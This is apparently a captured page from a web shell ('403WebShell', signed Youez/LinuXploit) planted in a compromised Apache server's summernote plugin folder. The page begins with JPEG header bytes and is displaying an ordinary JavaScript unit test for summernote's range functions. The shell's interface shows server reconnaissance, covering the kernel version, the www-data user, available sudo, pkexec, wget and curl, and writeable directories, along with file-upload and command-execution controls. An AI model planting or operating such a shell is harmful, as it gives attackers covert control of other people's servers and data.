����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.135.194.164
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/assets/plugins/summernote/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/admin/assets/plugins/summernote/test/range.spec.js
/**
 * range.spec.js
 * (c) 2013~ Alan Hong
 * summernote may be freely distributed under the MIT license./
 */
var range = $.fn.summernoteInner().range;

test('rng.listPara', function() {
  var $cont, $b, elB, rng;

  //01. 1 depth 
  $cont = $('<div><p>para1</p><p>para2</p></div>');
  $para = $cont.find('p');
  rng = range.create($para[0].firstChild, 0, $para[1].firstChild, 1);
  equal(rng.listPara().length, 2, 'should listPara return array of paragraphs[2]');

  rng = range.create($para[0].firstChild, 0, $para[0].firstChild, 0);
  equal(rng.listPara().length, 1, 'should listPara return array of a para');

  //02. multi depth
  $cont = $('<div><p>p<b>ar</b>a1</p><p>para2</p></div>');
  $b = $cont.find('b');
  rng = range.create($b[0].firstChild, 0, $b[0].firstChild, 0);
  equal(rng.listPara().length, 1, 'should listPara return array of a para');

  //03. on list, on heading
  $cont = $('<div><ul><li>para1</li><li>para2</li></ul></div>');
  $li = $cont.find('li');
  rng = range.create($li[0].firstChild, 0, $li[1].firstChild, 1);
  equal(rng.listPara().length, 2, 'should listPara return array of list paragraphs');

  $cont = $('<div><h1>heading1</h1><h2>heading2</h2></div>');
  $h1 = $cont.find('h1'), $h2 = $cont.find('h2');
  rng = range.create($h1[0].firstChild, 0, $h2[0].firstChild, 1);
  equal(rng.listPara().length, 2, 'should listPara return array of list paragraphs');
});

Youez - 2016 - github.com/yon3zu
LinuXploit